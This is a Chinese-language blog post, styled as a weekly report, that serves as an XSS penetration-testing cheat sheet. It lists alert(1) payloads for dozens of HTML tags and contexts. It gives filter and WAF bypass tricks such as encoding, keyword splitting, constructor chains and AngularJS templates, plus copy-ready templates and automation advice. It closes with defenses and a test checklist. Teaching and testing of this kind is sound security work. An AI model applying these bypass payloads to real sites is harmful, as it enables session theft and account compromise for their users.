2264 字
11 分钟
XSS

💡 字多 ≠ 有价值

周报不是为了表现工作量,而是给团队提供最基本的“信息透明”。尽量挑选重要信息来写。

汇报人:莫家豪

日期:2025-01-20

一、概览(快速理解)#

  • XSS(Cross-Site Scripting):攻击者把恶意脚本注入网页,使之在其他用户浏览器中执行,可能导致会话窃取、钓鱼、权限滥用、持久化木马等危害。

  • 核心思路:找能将用户控制的数据“原样输出”到浏览器并被解析为可执行语义的位置 —— 输出上下文决定 payload 形式与成功率。

  • 常见上下文:


二、注入前的流程(检测与判定)#

  1. 识别注入点与上下文:先在注入点放常见测试向量(<img src=x onerror=alert(1)>、"><svg onload=alert(1)>、';alert(1);//)观察服务器如何返回(是否被转义/删除/编码)。

  2. 观察响应:看是被转义为实体、删除关键字符、返回 200 但替换内容、还是原样返回。记录每种行为。

  3. 确认触发方式:是否自动触发(onload/onerror/onanimationend 等)、是否需要交互(onclick)、是否需要用户打印(onbeforeprint)等。

  4. 识别防护:是否存在 CSP(检查 Content-Security-Policy header),是否有 WAF(频繁阻断、403)、是否做了严格转义。

  5. 选择策略:根据上下文选择合适 payload(事件型 / SVG / data: / srcdoc / JS-string 逃逸等)。


三、二十个常见标签#

一、事件型标签(自动触发类)#

这些标签天然自带可自动触发的事件(onload, onerror, onmouseover 等),在 XSS 利用中最常见、成功率高。通常可以在不依赖用户交互的情况下执行脚本。

标签常用事件示例 Payload说明
<img>onerror<img src=x onerror=alert(1)>图片加载失败时触发,经典自动执行方式
<body>onload, onbeforeprint<body onload=alert(1)>页面加载完自动执行
<svg>onload, onbegin<svg onload=alert(1)>SVG 可嵌脚本,绕过过滤 <script> 的场景
<iframe>onload<iframe srcdoc="<script>alert(1)</script>">可嵌页面、执行脚本、iframe 内可传 payload
<video>onerror, onplay<video src=x onerror=alert(1)>媒体资源加载失败时触发
<audio>onerror, onplay<audio src=x onerror=alert(1)>类似 <video>,利用率较低但存在
<object>onerror, onload<object data=x onerror=alert(1)>用于加载外部资源,可触发错误事件
<link>onload<link rel=stylesheet href=x onerror=alert(1)>在部分解析器中加载失败触发事件
<embed>onload, onerror<embed src=x onerror=alert(1)>嵌入外部内容时可利用
<marquee>onstart, onfinish<marquee onstart=alert(1)>已过时但部分浏览器仍支持

二、用户交互型标签(依赖点击、悬停等)#

需要用户行为(click、mouseover)触发事件,不自动执行,但常用于反射型 XSS 或 DOM-based XSS。

标签常用事件示例 Payload说明
<a>onclick, onmouseover<a href=# onclick=alert(1)>点击</a>最常见交互型标签
<button>onclick<button onclick=alert(1)>点我</button>表单交互类元素
<form>onsubmit<form onsubmit=alert(1)><input type=submit></form>表单提交时触发
<input>onfocus, onchange<input onfocus=alert(1)>聚焦时触发
<textarea>oninput, onfocus<textarea onfocus=alert(1)>聚焦、输入时触发
<select>onchange<select onchange=alert(1)><option>1</option></select>改变选项时触发
<details>ontoggle<details ontoggle=alert(1)>展开试试</details>HTML5 新标签,展开/收起时触发

三、嵌入类标签(可执行外部资源 / 内联内容)#

这些标签可以直接或间接引入脚本、SVG、媒体、HTML 等内容,在过滤 <script> 时可用作替代执行载体。

标签用法示例 Payload说明
<script>直接执行 JS<script>alert(1)</script>标准脚本执行方式(若不过滤)
<svg><script>内嵌脚本<svg><script>alert(1)</script></svg>在支持 SVG 的环境可绕过
<math>MathML 扩展<math><mtext><script>alert(1)</script></mtext></math>Firefox 等可解析 MathML
<iframe>外部 HTML<iframe src=javascript:alert(1)>可利用 srcdoc 或 javascript:
<object>外部资源<object data=data:text/html,<script>alert(1)</script>>载入可控数据流
<embed>外部 Flash/HTML<embed src=data:text/html,<script>alert(1)</script>>作用同 <object>

这些标签通常不直接执行 JS,但可配合 CSS / data URI / import 等手法完成绕过。

标签用法示例 Payload说明
<style>内联 CSS<style>@import 'javascript:alert(1)';</style>某些旧浏览器解析可触发 JS
<link>外部 CSS<link rel=stylesheet href=javascript:alert(1)>现代浏览器已修复,大多不执行
<meta>重定向<meta http-equiv="refresh" content="0;url=javascript:alert(1)">可用于 URL 跳转型绕过
<base>改变解析基准<base href="javascript:alert(1)//">可配合其他相对链接构造执行

五、少见或冷门可利用标签(特殊场景)#

这些标签在现代浏览器支持度不高,但在旧环境 / 特殊框架下仍可触发。

标签示例 Payload说明
<plaintext><plaintext><script>alert(1)</script>使浏览器后续内容全部原样输出,常用于破坏过滤器结构
<noscript><noscript><p title="</noscript><img src=x onerror=alert(1)>">配合过滤器闭合标签绕过
<xmp><xmp><script>alert(1)</script>类似 <plaintext>,用于混淆 HTML 解析
<table><table background="javascript:alert(1)">属性型 XSS(部分旧浏览器)

四、常见绕过手法(系统化汇总)#

下面把常见绕过方法按策略做归类,便于在测试时有条不紊地尝试。

A. 编码与实体#

  • HTML 实体:&#x3C;,&#60; → 恢复为 <。

  • 十六进制 Unicode:&#x3C;script&#x3E;。

  • URL 编码:%3Cscript%3E。

  • 双重编码:先 encode 再 encode(绕过一次解码的过滤器)。

B. 协议与 data URI#

  • javascript:、data:(data:text/html;base64,...)将 payload 以数据 URI 嵌入。

  • 注意:CSP / 浏览器可能禁用某些协议。

C. 关键字分割 / 注释插入#

  • ja<!-- -->vascript:alert(1)、jav\u0061script:alert(1)。

  • 在 WAF 使用简单关键字黑名单时非常有效。

D. 多上下文 polyglot#

  • 一次 payload 适配多种解析器,例如 "><svg onload=alert(1)>,能在属性/文本/某些过滤器下触发。

E. 构造函数与原型链技巧(JS 层)#

  • constructor.constructor('alert(1)')()、[]["filter"]["constructor"]("alert(1)")()。

  • 适用于能注入 JS 表达式或在现有 JS 中拼接执行的场景。

F. SVG / SMIL / 特殊标签#

  • 使用 SVG 内置事件(onload)或动画事件(onbegin、onend)触发执行。

  • SVG 经常被忽略,若 < 被编码但 svg 可以被实体还原,成功率高。

G. srcdoc / iframe / object / embed#

  • iframe srcdoc 能直接写入 HTML;object 可内嵌 data uri。

  • 上传 HTML 文件并用 <iframe src="/uploads/malicious.html"> 访问。

H. JSON / JS 字符串上下文逃逸#

  • 如果输入被拼进 JS 字符串,需闭合引号并填入 JS:');alert(1);// 或 ");alert(1);//。

  • 在 JSON 被直接 eval 的场景(不安全)可直接注入 JS。

I. CSS 动画 + 事件#

  • 在只允许样式/文字,但支持事件属性的场景下,使用 CSS 动画触发 onanimationend:

J. 文件上传与 MIME 绕过#

  • 上传 .svg, .html 并使服务器以 text/html 返回或浏览器按 HTML 解析。

  • 尝试修改 Content-Type 或使用双扩展名(file.html.jpg)看服务器如何处理。

K. 前端框架专用绕过#

  • AngularJS(旧):{{constructor.constructor('alert(1)')()}}。

  • Vue:v-html 错误使用会直接插入 HTML;{{}} 默认转义。

  • React:dangerouslySetInnerHTML 是高风险点。

L. WAF / 黑名单对策#

  • 分割关键字 / 多重编码 / 使用不常见事件或标签 / 上传并托管到可访问路径 / 间接执行(构造函数)等。

五、成熟 payload 模板集(按上下文,直接可复制测试)#

说明:所有 payload 以 alert(1) 作验证,实测请替换为合规检测方法(日志回显、私有回调等)。

HTML 文本上下文(直接插入 HTML)#

  • <script>alert(1)</script>

  • <img src=x onerror=alert(1)>

  • "><svg onload=alert(1)><!--

属性值上下文(双引号)#

  • " onmouseover=alert(1) autofocus x="

  • "><img src=x onerror=alert(1)>

属性值上下文(单引号)#

  • ' onmouseover=alert(1) autofocus x='

  • '><svg onload=alert(1)><!--

JS 字符串上下文#

  • ');alert(1);//

  • ");alert(1);//

  • '+(alert(1))+'(在拼接场景)

URL / HREF / SRC#

  • <a href="javascript:alert(1)">x</a>

  • <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

SVG / SMIL(高成功率)#

  • <svg onload=alert(1)>

  • <svg><animate onbegin="alert(1)"/></svg>

IFRAME with SRCdoc#

  • <iframe srcdoc="<script>alert(1)</script>"></iframe>

ENTITY / ENCODING VARIANTS#

  • &#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

  • %3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E(URL 编码)

CONSTRUCTOR / INDIRECTION#

  • []['filter']['constructor']('alert(1)')()

  • this['con'+'structor'].constructor('alert(1)')()

CSS ANIMATION TRIGGER#

  • <div style="animation-name:x" onanimationend="alert(1)"></div>
  • <body onbeforeprint=alert(1)>

  • <img src=x onerror="window.onbeforeprint=()=>alert(1);window.print()">


六、自动化与爆破建议(实战流程)#

  1. 准备模板库:把 payload 按上下文分类(HTML/Attr/JS/URL/SVG),并支持多重编码选项(实体 / URL / base64)。

  2. 指纹化目标:先探测页面中使用的前端框架(data-reactroot、ng-、v-)、CSP header、可写目录(上传点)、是否有 srcdoc/sandbox 等。

  3. 分阶段尝试:

  4. 记录与速报:每个 payload 的请求/响应、是否触发、浏览器类型。保存为 CSV/JSON 便于后续对比。

  5. 并发与节制:自动化爆破避免对目标造成不可逆影响或触发 WAF 大量封禁。必须控制速率与并发。


七、防御要点(开发/运维角度)#

  1. 上下文感知转义(核心):对所有输出做基于目标上下文的编码/转义(HTML 文本、属性、JS 字符串、URL、CSS 分别采用不同逃逸函数)。

  2. 禁止直接 innerHTML / eval / dangerous APIs:尽量使用 textContent,避免 dangerouslySetInnerHTML、eval() 或 new Function()。

  3. 严格 CSP:Content-Security-Policy 禁用 unsafe-inline、限制 script-src 到可信域,使用 nonce/hash。

  4. 对上传内容做严格验证:强制 MIME 检查、S3/CORS 配置、上传目录加 Content-Disposition 与下载标头,确保上传文件不会以 text/html 被当作页面呈现。

  5. 模板引擎默认转义:使用框架默认转义机制,避免 raw/safe。

  6. 输入验证但不依赖它作为防线:输入验证仅作第一道防线,输出转义是最终保障。

  7. 安全测试与生命周期:在 CI/CD 中加入自动化扫描与手动渗透测试,修复后验证。


八、测试记录模板(示例 CSV 表头)#

injection_point,context,payload,encoding,response_code,response_body_snippet,triggered(browser),notes


九、快速检查清单(渗透实战)#

  • 能否注入 <script>?(通常否)

  • onerror/onload/onanimationend 是否被允许?

  • iframe srcdoc 或 data: 是否可用?

  • 是否存在上传点并能访问上传文件?

  • 是否有 CSP?script-src 白名单里是否包含可写域?

  • 前端框架指纹(React/Angular/Vue) → 检查 dangerouslySetInnerHTML, v-html, ng-bind-html 等。

  • WAF 报文或过滤策略如何(哪些关键词被替换)?

  • 是否能通过 JS 构造/原型链间接触发?


十、常用事件清单#

onerror, onload, onanimationend, onanimationstart, onbegin, onfocus, onmouseover, onclick, onsubmit, onbeforeprint, onafterprint, ontransitionend, onhashchange


其他标签及绕过见:#

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS
https://lab404.cn/posts/xss/
作者
见山
发布于
2025-11-20
许可协议
CC BY-NC-SA 4.0